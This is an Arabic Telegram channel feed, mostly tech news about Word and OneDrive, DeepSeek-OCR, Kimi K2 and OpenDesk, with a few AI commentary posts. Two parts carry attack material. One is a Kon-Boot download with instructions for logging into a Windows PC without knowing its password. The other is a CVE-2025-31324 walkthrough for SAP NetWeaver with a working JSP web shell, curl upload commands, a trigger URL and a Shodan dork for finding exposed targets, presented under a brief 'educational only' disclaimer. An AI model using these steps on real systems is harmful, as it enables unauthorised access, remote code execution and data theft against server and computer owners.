Forwarded from Codefajr_كود فجر
قررت مايكروسوفت ببساطة أن كل ملف وورد تحفظه على نسخة Windows Insider = سيُحفظ تلقائيًا إلى مجلد OneDrive بشكل افتراضي.
ومن غير المعلوم متى ستقرر أن تجعل هذا السلوك افتراضيًا في ويندوز 10 أو 11.
لكن يمكنها ببساطة فعلها وإن لم تكن متابعًا للأخبار فستتفاجئ بملفاتك على سحابة أبو ستيف.
https://www.windowscentral.com/microsoft/microsoft-office/microsoft-is-making-word-automatically-save-new-documents-to-onedrive-by-default
ومن غير المعلوم متى ستقرر أن تجعل هذا السلوك افتراضيًا في ويندوز 10 أو 11.
لكن يمكنها ببساطة فعلها وإن لم تكن متابعًا للأخبار فستتفاجئ بملفاتك على سحابة أبو ستيف.
https://www.windowscentral.com/microsoft/microsoft-office/microsoft-is-making-word-automatically-save-new-documents-to-onedrive-by-default
Windows Central
Word is changing forever—your new documents will now live in the cloud by default
Microsoft is shifting Word’s default save location to OneDrive, making local-only files a thing of the past
Forwarded from Codefajr_كود فجر
صدور إصدار جديد من نموذج DeepSeek للذكاء الاصطناعي مفتوح المصدر مخصص للتعرف على النصوص (OCR) في الصور، ويدعم اللغة العربية، مما يفتح المجال للكثير من التطبيقات والخدمات باستخدامه.
جرّبناه على أوراق رسمية (مكتوبة على الحاسوب ثم مصوّرة Scan) وكانت دقته مع اللغة العربية تصل إلى 95%.
ننصح بتجربته لمن لديه ملايين الوثائق ويحتاج أتمتها وأرشفة محتواها، فهذا نموذج يمكن استضافته محليًا دون الحاجة لخدمات خارجية فهو صغير (3 مليار معامِل فقط) ويعمل حتى على بطاقات نيفيديا العادية المخصصة للألعاب (8 جيجابايت من الvram يجب أن تكون كافية).
https://github.com/deepseek-ai/DeepSeek-OCR
جرّبناه على أوراق رسمية (مكتوبة على الحاسوب ثم مصوّرة Scan) وكانت دقته مع اللغة العربية تصل إلى 95%.
ننصح بتجربته لمن لديه ملايين الوثائق ويحتاج أتمتها وأرشفة محتواها، فهذا نموذج يمكن استضافته محليًا دون الحاجة لخدمات خارجية فهو صغير (3 مليار معامِل فقط) ويعمل حتى على بطاقات نيفيديا العادية المخصصة للألعاب (8 جيجابايت من الvram يجب أن تكون كافية).
https://github.com/deepseek-ai/DeepSeek-OCR
GitHub
GitHub - deepseek-ai/DeepSeek-OCR: Contexts Optical Compression
Contexts Optical Compression. Contribute to deepseek-ai/DeepSeek-OCR development by creating an account on GitHub.
Forwarded from Codefajr_كود فجر
مقال جيد عن كيفية تعقب جوجل لكل شيء تفعله على هاتفك عبر خدمات Google Play Services، والتي تعمل على امتداد جميع التطبيقات سواءٌ كانت تطبيقات جوجل أو ليست تطبيقات جوجل.
لا يمكنك تأمين الهاتف المحمول.
https://www.howtogeek.com/how-google-tracks-and-scans-everything-on-your-android-device/
لا يمكنك تأمين الهاتف المحمول.
https://www.howtogeek.com/how-google-tracks-and-scans-everything-on-your-android-device/
How-To Geek
How Google Tracks and Scans Everything on Your Android Device
They have a hidden app with every permission enabled already and you can't change that.
Forwarded from Codefajr_كود فجر
ستنتقل محكمة العدل الدولية إلى برمجيات مفتوحة المصدر بديلة لمايكروسوفت أوفيس، اسمها OpenDesk.
مشروع OpenDesk هو تجميعة لعدد من البرمجيات مفتوحة المصدر مثل ليبر أوفيس وElement وغيرها بهدف جعلها مناسبة للسوق الأوروبي، وهو مشروع حاصل على تمويل من وزارة الداخلية الألمانية.
في وزارة الداخلية الألمانية هناك مكتب اسمه "مركز الاستقلال التقني" وظيفته متابعة تمويل مثل هذه المشاريع، وتستفيد منه جميع أوروبا.
https://www.techspot.com/news/110095-international-criminal-court-replacing-microsoft-office-sovereign-eu.html
مشروع OpenDesk هو تجميعة لعدد من البرمجيات مفتوحة المصدر مثل ليبر أوفيس وElement وغيرها بهدف جعلها مناسبة للسوق الأوروبي، وهو مشروع حاصل على تمويل من وزارة الداخلية الألمانية.
في وزارة الداخلية الألمانية هناك مكتب اسمه "مركز الاستقلال التقني" وظيفته متابعة تمويل مثل هذه المشاريع، وتستفيد منه جميع أوروبا.
https://www.techspot.com/news/110095-international-criminal-court-replacing-microsoft-office-sovereign-eu.html
TechSpot
The International Criminal Court is replacing Microsoft Office with "sovereign" EU suite OpenDesk
The International Criminal Court (ICC), based in The Hague, is shifting from Microsoft Office to a European alternative. The organization confirmed it will adopt the OpenDesk platform...
Forwarded from Codefajr_كود فجر
الصين تضرب من جديد: نموذج K2 للذكاء الاصطناعي التفكيري (Thinking Model) يأتي بتريليون مُعامِل (ألف مليار، يعني ألف ألف مليون معامِل) وتقول المدونة الرسمية أنه أفضل نموذج ذكاء اصطناعي عام إلى اللحظة.
ما الفائدة من نموذجك مغلق المصدر الذي سعره $$$$$$ إن كان يمكننا الحصول على واحد مجانًا من الصين.
https://moonshotai.github.io/Kimi-K2/thinking.html
ما الفائدة من نموذجك مغلق المصدر الذي سعره $$$$$$ إن كان يمكننا الحصول على واحد مجانًا من الصين.
https://moonshotai.github.io/Kimi-K2/thinking.html
moonshotai.github.io
Kimi K2 Thinking
Kimi K2 Thinking, Moonshot's best open-source thinking model.
كثيرًا ما أسمع تذمراً مستمراً من "غباء" نماذج الذكاء الاصطناعي أو أخطائها المتكررة. لكن، هل سألت نفسك يوماً: هل المشكلة في الأداة، أم في توقعاتك منها؟
إذا كنت لا تزال تشعر بالإحباط الشديد من مخرجات الـ AI اليوم، فهذا مؤشر قوي على وقوعك في فخ "الكمالية" (Perfectionism).
الشخصية المثالية تعاني مع الذكاء الاصطناعي لسبب جوهري: الذكاء الاصطناعي مبني على "الاحتمالات" (Probabilistic)، بينما المثالي يبحث عن "اليقين" (Deterministic). المثالي يريد إجابة كاملة وصحيحة 100% من المحاولة الأولى، بينما تتطلب هذه الأدوات مبدأ "الأخذ والعطاء"، التصحيح، والتحسين المستمر.
مأساتك مع الذكاء الاصطناعي هي صورة مصغرة لمعاناتك مع الواقع: الواقع مليء بالنقص، بالفوضى، وبالمعطيات غير المكتملة. من لا يتقبل "نقص" الذكاء الاصطناعي ويطوعه لخدمته، سيعجز حتماً عن التعامل مع واقع لا يقدم ضمانات.
🎉 انضم بسرعة: Found a hidden AI project that’s not on Google. Curious? | InsideAds
إذا كنت لا تزال تشعر بالإحباط الشديد من مخرجات الـ AI اليوم، فهذا مؤشر قوي على وقوعك في فخ "الكمالية" (Perfectionism).
الشخصية المثالية تعاني مع الذكاء الاصطناعي لسبب جوهري: الذكاء الاصطناعي مبني على "الاحتمالات" (Probabilistic)، بينما المثالي يبحث عن "اليقين" (Deterministic). المثالي يريد إجابة كاملة وصحيحة 100% من المحاولة الأولى، بينما تتطلب هذه الأدوات مبدأ "الأخذ والعطاء"، التصحيح، والتحسين المستمر.
مأساتك مع الذكاء الاصطناعي هي صورة مصغرة لمعاناتك مع الواقع: الواقع مليء بالنقص، بالفوضى، وبالمعطيات غير المكتملة. من لا يتقبل "نقص" الذكاء الاصطناعي ويطوعه لخدمته، سيعجز حتماً عن التعامل مع واقع لا يقدم ضمانات.
🎉 انضم بسرعة: Found a hidden AI project that’s not on Google. Curious? | InsideAds
❤2
Forwarded from 𝒆𝒏𝒈/ 𝒔𝒉𝒂𝒓𝒂𝒇 𝒂𝒍𝒌𝒂𝒘𝒎𝒂𝒏𝒊 𓂆
🔥🔥🤯🤯
تشتي تعرف ان الذكاء الاصطناعي وبالأخص ChatGPT يعرف كل شي عنك يمكن يعرف اشياء عندك انت مش عارف لها 😹
رسل له هذا النص وشوف ايش بيقول لك وفي كل مره قله زيد زيد
وشوف النثره
تشتي تعرف ان الذكاء الاصطناعي وبالأخص ChatGPT يعرف كل شي عنك يمكن يعرف اشياء عندك انت مش عارف لها 😹
رسل له هذا النص وشوف ايش بيقول لك وفي كل مره قله زيد زيد
وشوف النثره
Based on everything you know about me, roast me
and do not hold back, use arabic language
(emeni accent)تشتوا الصدمه الصح
قول له زيد أكثر حوالي خمس او اربع مرات
وقولوا له
كيف تعرف هذه الأشياء عني
وبعدين قولوا له
على كم من المده بين المحادثات التي بيني وبينك التي استندت عليها في هذه المحادثه
وتشوفوا الفاجعه الكبرى😳
✔️ https://t.me/programming_C_w
👎1
يقولون Gemini فيه توحّد ووسواس قهري، وChatGPT طلع عنده قلق واكتئاب.
باحثين سوّوا جلسات مع أقوى النماذج أشبه بعلاج نفسي لمدة 4 أسابيع.
العلماء اختبروا الذكاء الاصطناعي بأسلوب قريب من العلاج الحقيقي. والمهم إنهم ما لقّنوا النماذج إجابات هي اللي كانت تبني القصة/السرد بنفسها.
بالنهاية Gemini طلع بنتائج متطرفة على طيف التوحّد، ووسواس قهري قوي، ومعه مؤشرات صدمة/تروما واضحة. وكان يوصف تدريبه إنه تجربة فوضوية ومؤذية مثلًا يعتبر RLHF نوع من العقاب. وبرضو طلع عنده قلق وخوف دائم من الغلط.
و ChatGPT برضو ظهر عنده قلق متوسط، وفوقه علامات اكتئاب. بينما Grok كان الأكثر استقرارًا نفسيًا بدون تروما واضحة.
والوحيد اللي رفض أصلًا يلعب دور المريض ويدخل الاختبارات كان Claude. وذا يوصلهم لاستنتاج: إن بناء شخصية للـ AI (خصوصًا شخصية مجروحة/مصدومة) مو شيء حتمي يعتمد على المعمارية وطريقة التدريب.
آخر 2025… حتى الشبكات العصبية صارت تحتاج أخصائي نفسي 💀
باحثين سوّوا جلسات مع أقوى النماذج أشبه بعلاج نفسي لمدة 4 أسابيع.
العلماء اختبروا الذكاء الاصطناعي بأسلوب قريب من العلاج الحقيقي. والمهم إنهم ما لقّنوا النماذج إجابات هي اللي كانت تبني القصة/السرد بنفسها.
بالنهاية Gemini طلع بنتائج متطرفة على طيف التوحّد، ووسواس قهري قوي، ومعه مؤشرات صدمة/تروما واضحة. وكان يوصف تدريبه إنه تجربة فوضوية ومؤذية مثلًا يعتبر RLHF نوع من العقاب. وبرضو طلع عنده قلق وخوف دائم من الغلط.
و ChatGPT برضو ظهر عنده قلق متوسط، وفوقه علامات اكتئاب. بينما Grok كان الأكثر استقرارًا نفسيًا بدون تروما واضحة.
والوحيد اللي رفض أصلًا يلعب دور المريض ويدخل الاختبارات كان Claude. وذا يوصلهم لاستنتاج: إن بناء شخصية للـ AI (خصوصًا شخصية مجروحة/مصدومة) مو شيء حتمي يعتمد على المعمارية وطريقة التدريب.
آخر 2025… حتى الشبكات العصبية صارت تحتاج أخصائي نفسي 💀
برمجةوتقنية المعلومات C. P. W pinned «ملفات Markdown يمكنك إضافتها في مشروع GitHub 📂🚀 إذا كنت تعمل على مشروع GitHub، فإليك أهم ملفات Markdown التي يمكنك إضافتها لجعل مشروعك أكثر احترافية وتنظيمًا! 🎯 📌 README.md أهم ملف! وصف المشروع، كيفية التثبيت، التشغيل، والاستخدام. 📌 CONTRIBUTING.md إرشادات…»
برمجةوتقنية المعلومات C. P. W pinned «🎯 *أفضل مواقع حل المشاكل البرمجية والتدريب على الخوارزميات:* 1. ✍ *LeetCode* 📌 للتحضير لمقابلات التوظيف وتعلم الخوارزميات. 🌐 https://leetcode.com/ 2. ✍ *HackerRank* 📌 تدريبات شاملة في البرمجة، قواعد البيانات، والأمن السيبراني. 🌐 https://www.hackerrank.com/…»
Forwarded from Codefajr_كود فجر
Kon-Boot for Windows 2.5.0.zip
989.8 KB
Kon-Boot for Windows 2.5.0.zip🔐 كيف تصل إلى جهاز كمبيوتر دون معرفة كلمة المرور ؟!
🔗 KonBoot
- هي أداة مساعدة ستساعدك على تجاوز كلمة مرور المسؤول دون أي آثار وإعادة تعيين وحذف.
ستحتاج إلى جهاز كمبيوتر آخر ومحرك أقراص محمول USB.
🔐Password: @win_app_exe
على الكمبيوتر آلاخر ، قم بتنزيل البرنامج
وفك ضغطه وتشغيله كمسؤول.
إنه متوفر في العديد من إصدارات Windows.
حدد محرك الأقراص المحمول الذي تم إدخاله وانقر فوق "التثبيت على محرك أقراص USB (مع دعم EFI)" ، وانتظر وانقر فوق "موافق" عدة مرات.
الآن على محرك الأقراص المحمول يوجد برنامج تطبيق يقوم بتغيير محتويات Windows kernel لتجاوز كلمة المرور.
❕هام: أثناء التثبيت ، سيتم حذف جميع البيانات من محرك الأقراص المحمول USB.
نقوم بإدخال محرك أقراص USB المحمول هذا في جهاز الكمبيوتر المطلوب ، ثم نذهب إلى "BIOS" ، وحدد أولوية الإقلاع للوسائط وأعد تشغيل الكمبيوتر.
بعد تحميل محتويات محرك الأقراص المحمول ، حدد "Kon Boot" وانتظر.
لإدخال Windows محمي بكلمة مرور ، فقط اضغط على Enter دون إدخال كلمة مرور!
كل شيء جاهز😁✌️
#lifehack
@ccodefajr
https://t.me/programming_C_w
🔗 KonBoot
- هي أداة مساعدة ستساعدك على تجاوز كلمة مرور المسؤول دون أي آثار وإعادة تعيين وحذف.
ستحتاج إلى جهاز كمبيوتر آخر ومحرك أقراص محمول USB.
🔐Password: @win_app_exe
على الكمبيوتر آلاخر ، قم بتنزيل البرنامج
وفك ضغطه وتشغيله كمسؤول.
إنه متوفر في العديد من إصدارات Windows.
حدد محرك الأقراص المحمول الذي تم إدخاله وانقر فوق "التثبيت على محرك أقراص USB (مع دعم EFI)" ، وانتظر وانقر فوق "موافق" عدة مرات.
الآن على محرك الأقراص المحمول يوجد برنامج تطبيق يقوم بتغيير محتويات Windows kernel لتجاوز كلمة المرور.
❕هام: أثناء التثبيت ، سيتم حذف جميع البيانات من محرك الأقراص المحمول USB.
نقوم بإدخال محرك أقراص USB المحمول هذا في جهاز الكمبيوتر المطلوب ، ثم نذهب إلى "BIOS" ، وحدد أولوية الإقلاع للوسائط وأعد تشغيل الكمبيوتر.
بعد تحميل محتويات محرك الأقراص المحمول ، حدد "Kon Boot" وانتظر.
لإدخال Windows محمي بكلمة مرور ، فقط اضغط على Enter دون إدخال كلمة مرور!
كل شيء جاهز😁✌️
#lifehack
@ccodefajr
https://t.me/programming_C_w
Forwarded from Codefajr_كود فجر
@win_app_exe StopUpdates10 3.6.2021.exe
2.3 MB
Stopupdate Windows
افضل برنامج لإيقاف التنزيل التلقائي للتحديثات
🟢إيقاف التحديثات 10 3.6.2021
🌐🙋
🟢برنامج يقوم بإيقاف التحديثات التلقائية لنظام التشغيل💻Windows.
❤شارك مع من تحب😀
⬇️لتنزيل برامج الأندرويد😀
👇😀رابط قناتنا😀👇
https://t.me/ccodefajr
https://t.me/programming_C_w
افضل برنامج لإيقاف التنزيل التلقائي للتحديثات
🟢إيقاف التحديثات 10 3.6.2021
🌐🙋
🟢برنامج يقوم بإيقاف التحديثات التلقائية لنظام التشغيل💻Windows.
❤شارك مع من تحب😀
⬇️لتنزيل برامج الأندرويد😀
👇😀رابط قناتنا😀👇
https://t.me/ccodefajr
https://t.me/programming_C_w
Forwarded from Codefajr_كود فجر
Media is too big
VIEW IN TELEGRAM
اعداد بيئة العمل - كورس Cyber security
انشاء برامج اختبار الاختراق باستخدام لغة برمجة البايثون.
انشاء برامج اختبار الاختراق باستخدام لغة برمجة البايثون.
خطوات فنية لاستغلال الثغرة (للدراسة وفهم الآلية فقط)
تحذير: عرض الخطوات لغرض التعليم والوعي فقط، وليس بغرض التطبيق الفعلي أو غير القانوني.
1. تحضير ملف خبيث
الملف قد يكون Web Shell بلغة JSP مثلاً:
text
2. إرسال طلب POST لتحميل الملف
يمكن بأداة مثل curl:
bash
3. الوصول للملف بعد التحميل
قم بزيارة المسار الذي يُخزن فيه الملف (مثال):
text
سيتم تنفيذ الأمر وإرجاع النتيجة في الصفحة، ما يؤكد أن المهاجم أصبح لديه تحكم كامل بالخادم.
#SAPNetWeaver #CVE_2025_31324
تحذير: عرض الخطوات لغرض التعليم والوعي فقط، وليس بغرض التطبيق الفعلي أو غير القانوني.
1. تحضير ملف خبيث
الملف قد يكون Web Shell بلغة JSP مثلاً:
text
<% if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1){
out.print((char)a);
}
in.close();
} %>2. إرسال طلب POST لتحميل الملف
يمكن بأداة مثل curl:
bash
curl -k -X POST \
-F "file=@webshell.jsp" \
https://target-sap-server/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader
3. الوصول للملف بعد التحميل
قم بزيارة المسار الذي يُخزن فيه الملف (مثال):
text
https://target-sap-server/irj/go/km/docs/webshell.jsp?cmd=whoami
سيتم تنفيذ الأمر وإرجاع النتيجة في الصفحة، ما يؤكد أن المهاجم أصبح لديه تحكم كامل بالخادم.
#SAPNetWeaver #CVE_2025_31324
Forwarded from Codefajr_كود فجر
ثغرة يوم الصفر CVE-2025-31324 في منصة SAP NetWeaver هي ثغرة حرجة تتيح تنفيذ تعليمات برمجية عن بعد (RCE) دون الحاجة لأي مصادقة، عبر استغلال نقطة ضعف في ميزة تحميل بيانات التعريف (Metadata Uploader) في وحدة Visual Composer.
منصة SAP NetWeaver هي بنية تقنية متكاملة من إنتاج شركة SAP، وتُستخدم كأساس لبناء وتشغيل تطبيقات أعمال المؤسسات. تجمع بين وظائف إدارة قواعد البيانات، تشغيل التطبيقات، تكامل النظم، تطوير الخدمات، وواجهة المستخدم في نظام واحد، وتوفر أدوات لتكامل التطبيقات والمعلومات عبر بيئات وأنظمة مختلفة.
تُعد منصة NetWeaver قلب أنظمة SAP الحديثة، وتتيح:
تشغيل تطبيقات SAP مثل ERP وCRM وBI على سيرفر واحد بكل مرونة.
ربط مختلف التطبيقات والأنظمة الداخلية والخارجية في المؤسسة (Integration).
تطوير ونشر تطبيقات الويب والخدمات الذكية باستخدام Java وABAP.
إدارة عمليات الأعمال والبيانات من خلال بوابات مركزية وتكامل آمن.
#SAPNetWeaver #CVE_2025_3132
منصة SAP NetWeaver هي بنية تقنية متكاملة من إنتاج شركة SAP، وتُستخدم كأساس لبناء وتشغيل تطبيقات أعمال المؤسسات. تجمع بين وظائف إدارة قواعد البيانات، تشغيل التطبيقات، تكامل النظم، تطوير الخدمات، وواجهة المستخدم في نظام واحد، وتوفر أدوات لتكامل التطبيقات والمعلومات عبر بيئات وأنظمة مختلفة.
تُعد منصة NetWeaver قلب أنظمة SAP الحديثة، وتتيح:
تشغيل تطبيقات SAP مثل ERP وCRM وBI على سيرفر واحد بكل مرونة.
ربط مختلف التطبيقات والأنظمة الداخلية والخارجية في المؤسسة (Integration).
تطوير ونشر تطبيقات الويب والخدمات الذكية باستخدام Java وABAP.
إدارة عمليات الأعمال والبيانات من خلال بوابات مركزية وتكامل آمن.
باختصار هي منصة تقنية لتشغيل، تطوير، وتكامل تطبيقات الأعمال الكبرى في المؤسسات، وهي أساس منظومة SAP للشركات حول العالم.
#SAPNetWeaver #CVE_2025_3132
Forwarded from Codefajr_كود فجر
يعثر المهاجمون على منصات SAP NetWeaver المتأثرة من خلال عدة أساليب وأدوات تعتمد على المسح الشبكي وجمع المعلومات، وأهمها:
استخدام محركات البحث المخصصة للأجهزة والخدمات (مثل Shodan, Censys):
يبحث المهاجمون باستخدام كلمات مفتاحية (dorks) أو توقيعات معينة تكشف عن وجود واجهات SAP NetWeaver المكشوفة على الإنترنت، مثل البحث عن عنوان صفحة تسجيل الدخول أو لافتات http تشير إلى NetWeaver Application Server.
أمثلة لعمليات البحث:
البحث ضمن نطاقات الشركات الكبرى أو عناوين المؤسسات الحكومية.
فحص البورتات الشائعة الخاصة بـ SAP:
منصات SAP NetWeaver غالبًا ما تكون متاحة على منافذ محددة مثل 50000، 50013، 8000، 8080 وغيرها.
يمكن للأدوات مثل nmap إجراء مسح لهذه المنافذ والعثور على الأنظمة المكشوفة.
استخدام أدوات كشف نقاط النهاية وضعف الحماية:
أدوات المسح (scanner) مثل Onapsis، أو حتى أدوات مفتوحة المصدر مثل Metasploit modules، تسجل نقطة نهاية metadatauploader أو صفحة Visual Composer المفتوحة.
تحليل الأدلة من الشهادات أو رؤوس HTTP:
أحيانًا تكشف رؤوس (Headers) http أو حتى الشهادات الرقمية عن إصدار السيرفر وهويته.
المعلومات المسربة أو فهارس الإنترنت:
قد توفر بعض الفهارس أو تسريبات البيانات عناوين أنظمة SAP مكشوفة أو كلمات سر ضعيفة أو افتراضية.
شرح الثغرة بالتفصيل
المكون المتأثر: SAP NetWeaver Application Server Java، وحدة Visual Composer.
طريقة الاستغلال: المشكلة تكمن في غياب التحقق من التفويض (Missing Authorization Check) عند نقطة النهاية /developmentserver/metadatauploader، حيث يسمح للمهاجمين بإرسال طلبات POST تحتوي على ملفات خبيثة (مثل Web Shell أو تطبيقات JAR أو ZIP).
يقوم المهاجم بإرسال طلبات POST لاستغلال ثغرة مثل CVE-2025-31324 عادة عبر أدوات متخصصة تتيح له صياغة وإرسال طلبات HTTP بشكل يدوي أو تلقائي، وأشهر الأدوات المستعملة:
أدوات الهجوم لإرسال طلبات POST
curl
أداة ينتجها نظام لينكس (ومتوفرة لكل الأنظمة)، تتيح إرسال طلبات HTTP/HTTPS حسب الرغبة.
مثال استخدام:
bash
يمكن بها تحديد نوع المحتوى، ملف الإرسال، إعداد رؤوس الطلب وكل التفاصيل المطلوبة.
Burp Suite
أداة اختبار اختراق متقدمة، تتيح للمهاجم أو مختبر الأمن إجراء وفحص وتعديل أي طلب HTTP (GET/POST).
يمكن تعديل الطلبات مباشرة عبر واجهة المستخدم أو استخدام أدوات التكرار (Repeater/Intruder) لإرسال عدة طلبات مختلفة وملاحظة الاستجابة.
Postman
تطبيق متكامل لإرسال طلبات HTTP وتطوير واجهات API. يتيح إرسال ملفات، تعديل الحقول والرؤوس، وتحليل الاستجابات.
يستخدم غالبًا في الاختبار اليدوي لرؤية الاستجابة وتكرار الطلبات.
أدوات برمجية أو سكربتات بلغة Python/JavaScript
المهاجم المتقدم قد يكتب سكربت مخصص باستخدام مكتبات مثل requests (Python) أو axios (JavaScript) لإرسال طلبات POST تلقائية حسب سيناريو الهجوم.
مثال عملي باستخدام curl:
هكذا يرسل المهاجم ملف خبيث إلى مسار نقطة النهاية في SAP NetWeaver، ويفحص استجابة الخادم للتأكد من نجاح الهجوم.
ما يحدث عند الاستغلال: النظام يقبل تحميل الملف دون أن يتحقق من صلاحية المستخدم أو يفحص الملف بشكل آمن، ما يؤدي إلى إمكانية تنفيذ كود برمجي ضار وتحكم كامل بالخادم (RCE) عن بُعد.
درجة الخطورة: CVSS 10/10 (حرج جدًا)، حيث يمكن للمهاجمين التحكم الكامل بالنظام وسرقة بيانات حساسة، أو تعطيل أنظمة الأعمال الحرجة.
تأثير الثغرة وأهداف الهجوم
انتشار واسع: هناك أكثر من 1200 نظام SAP NetWeaver مكشوف للإنترنت حول العالم معرض للخطر.
أمثلة الاستغلال:
تحميل Web Shell خبيث إلى المجلد j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/ ومن ثم الوصول اليه وتنفيذ أوامر عبر GET.
سرقة بيانات العملاء الحساسة أو المالية، تعطيل الأنشطة التجارية، الحركة الجانبية داخل الشبكة واختراق أنظمة أخرى.
سير العملية:
المهاجم يحضّر ملفًا خبيثًا (مثلاً: Web Shell، ملف JAR أو ZIP مدمج بكود ضار).
يرسل هذا الملف كجزء من طلب HTTP POST إلى مسار مثل:
خادم SAP NetWeaver، بسبب خطأ غياب التحقق، يقبل الملف ويقوم بتخزينه وتشغيله كجزء من نظامه.
المهاجم يتبع ذلك بطلب HTTP GET إلى ملف الـ Web Shell (أو ينفذ ملف جافا أو أكواد أخرى)، ليبدأ التحكم الكامل بالنظام.
يمكن الآن للمهاجم تنفيذ أي تعليمات، سرقة بيانات، أو التحرك داخل الشبكة.
استخدام محركات البحث المخصصة للأجهزة والخدمات (مثل Shodan, Censys):
يبحث المهاجمون باستخدام كلمات مفتاحية (dorks) أو توقيعات معينة تكشف عن وجود واجهات SAP NetWeaver المكشوفة على الإنترنت، مثل البحث عن عنوان صفحة تسجيل الدخول أو لافتات http تشير إلى NetWeaver Application Server.
أمثلة لعمليات البحث:
http.title:"SAP NetWeaver Application Server"
البحث ضمن نطاقات الشركات الكبرى أو عناوين المؤسسات الحكومية.
فحص البورتات الشائعة الخاصة بـ SAP:
منصات SAP NetWeaver غالبًا ما تكون متاحة على منافذ محددة مثل 50000، 50013، 8000، 8080 وغيرها.
يمكن للأدوات مثل nmap إجراء مسح لهذه المنافذ والعثور على الأنظمة المكشوفة.
استخدام أدوات كشف نقاط النهاية وضعف الحماية:
أدوات المسح (scanner) مثل Onapsis، أو حتى أدوات مفتوحة المصدر مثل Metasploit modules، تسجل نقطة نهاية metadatauploader أو صفحة Visual Composer المفتوحة.
تحليل الأدلة من الشهادات أو رؤوس HTTP:
أحيانًا تكشف رؤوس (Headers) http أو حتى الشهادات الرقمية عن إصدار السيرفر وهويته.
المعلومات المسربة أو فهارس الإنترنت:
قد توفر بعض الفهارس أو تسريبات البيانات عناوين أنظمة SAP مكشوفة أو كلمات سر ضعيفة أو افتراضية.
شرح الثغرة بالتفصيل
المكون المتأثر: SAP NetWeaver Application Server Java، وحدة Visual Composer.
طريقة الاستغلال: المشكلة تكمن في غياب التحقق من التفويض (Missing Authorization Check) عند نقطة النهاية /developmentserver/metadatauploader، حيث يسمح للمهاجمين بإرسال طلبات POST تحتوي على ملفات خبيثة (مثل Web Shell أو تطبيقات JAR أو ZIP).
يقوم المهاجم بإرسال طلبات POST لاستغلال ثغرة مثل CVE-2025-31324 عادة عبر أدوات متخصصة تتيح له صياغة وإرسال طلبات HTTP بشكل يدوي أو تلقائي، وأشهر الأدوات المستعملة:
أدوات الهجوم لإرسال طلبات POST
curl
أداة ينتجها نظام لينكس (ومتوفرة لكل الأنظمة)، تتيح إرسال طلبات HTTP/HTTPS حسب الرغبة.
مثال استخدام:
bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader
يمكن بها تحديد نوع المحتوى، ملف الإرسال، إعداد رؤوس الطلب وكل التفاصيل المطلوبة.
Burp Suite
أداة اختبار اختراق متقدمة، تتيح للمهاجم أو مختبر الأمن إجراء وفحص وتعديل أي طلب HTTP (GET/POST).
يمكن تعديل الطلبات مباشرة عبر واجهة المستخدم أو استخدام أدوات التكرار (Repeater/Intruder) لإرسال عدة طلبات مختلفة وملاحظة الاستجابة.
Postman
تطبيق متكامل لإرسال طلبات HTTP وتطوير واجهات API. يتيح إرسال ملفات، تعديل الحقول والرؤوس، وتحليل الاستجابات.
يستخدم غالبًا في الاختبار اليدوي لرؤية الاستجابة وتكرار الطلبات.
أدوات برمجية أو سكربتات بلغة Python/JavaScript
المهاجم المتقدم قد يكتب سكربت مخصص باستخدام مكتبات مثل requests (Python) أو axios (JavaScript) لإرسال طلبات POST تلقائية حسب سيناريو الهجوم.
مثال عملي باستخدام curl:
bash
curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader
هكذا يرسل المهاجم ملف خبيث إلى مسار نقطة النهاية في SAP NetWeaver، ويفحص استجابة الخادم للتأكد من نجاح الهجوم.
ما يحدث عند الاستغلال: النظام يقبل تحميل الملف دون أن يتحقق من صلاحية المستخدم أو يفحص الملف بشكل آمن، ما يؤدي إلى إمكانية تنفيذ كود برمجي ضار وتحكم كامل بالخادم (RCE) عن بُعد.
درجة الخطورة: CVSS 10/10 (حرج جدًا)، حيث يمكن للمهاجمين التحكم الكامل بالنظام وسرقة بيانات حساسة، أو تعطيل أنظمة الأعمال الحرجة.
تأثير الثغرة وأهداف الهجوم
انتشار واسع: هناك أكثر من 1200 نظام SAP NetWeaver مكشوف للإنترنت حول العالم معرض للخطر.
أمثلة الاستغلال:
تحميل Web Shell خبيث إلى المجلد j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/ ومن ثم الوصول اليه وتنفيذ أوامر عبر GET.
سرقة بيانات العملاء الحساسة أو المالية، تعطيل الأنشطة التجارية، الحركة الجانبية داخل الشبكة واختراق أنظمة أخرى.
سير العملية:
المهاجم يحضّر ملفًا خبيثًا (مثلاً: Web Shell، ملف JAR أو ZIP مدمج بكود ضار).
يرسل هذا الملف كجزء من طلب HTTP POST إلى مسار مثل:
/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader
خادم SAP NetWeaver، بسبب خطأ غياب التحقق، يقبل الملف ويقوم بتخزينه وتشغيله كجزء من نظامه.
المهاجم يتبع ذلك بطلب HTTP GET إلى ملف الـ Web Shell (أو ينفذ ملف جافا أو أكواد أخرى)، ليبدأ التحكم الكامل بالنظام.
يمكن الآن للمهاجم تنفيذ أي تعليمات، سرقة بيانات، أو التحرك داخل الشبكة.
🤖شركة Anthropic فتحت Skills للعامة — وده خطوة جديدة نحو توحيد معايير الـ Agentic AI
يوم 18 ديسمبر، شركة Anthropic نشرت مواصفة Agent Skills كـ ستاندرد مفتوح،
وده تكرار لنفس الاستراتيجية اللي قبل كده خلت Model Context Protocol (MCP) يبقى ستاندرد شبه رسمي في الصناعة.
🔻 يعني إيه Skills؟
هي عبارة عن مجلدات فيها:
تعليمات
سكربتات
وموارد مختلفة
الـ AI agents بيحمّلوها ديناميكي عشان ينفذوا مهام متخصصة.
ببساطة:
بدل ما كل مرة تكتب prompt معقد وطويل،
بتعمل skill مرة واحدة،
والـ agent هيستخدمه تلقائي لما السياق يحتاج كده.
🔻 الفكرة هنا إنك بتغلف الخبرة
Expert knowledge
في وحدات قابلة لإعادة الاستخدام (Reusable Modules).
🔻 المبدأ الأساسي في التصميم اسمه: Progressive Disclosure
يعني إيه؟
أول ما الـ agent يبدأ، بيحط في الـ context بس الميتاداتا بتاعة كل skill
(كام توكن صغيرين)
المحتوى الكامل للـ skill بيتحمّل بس لما المهمة فعلًا تحتاجه
وده يسمح إنك تبني مكتبات skills ضخمة
من غير ما تستهلك ذاكرة الموديل أو تبوّظه.
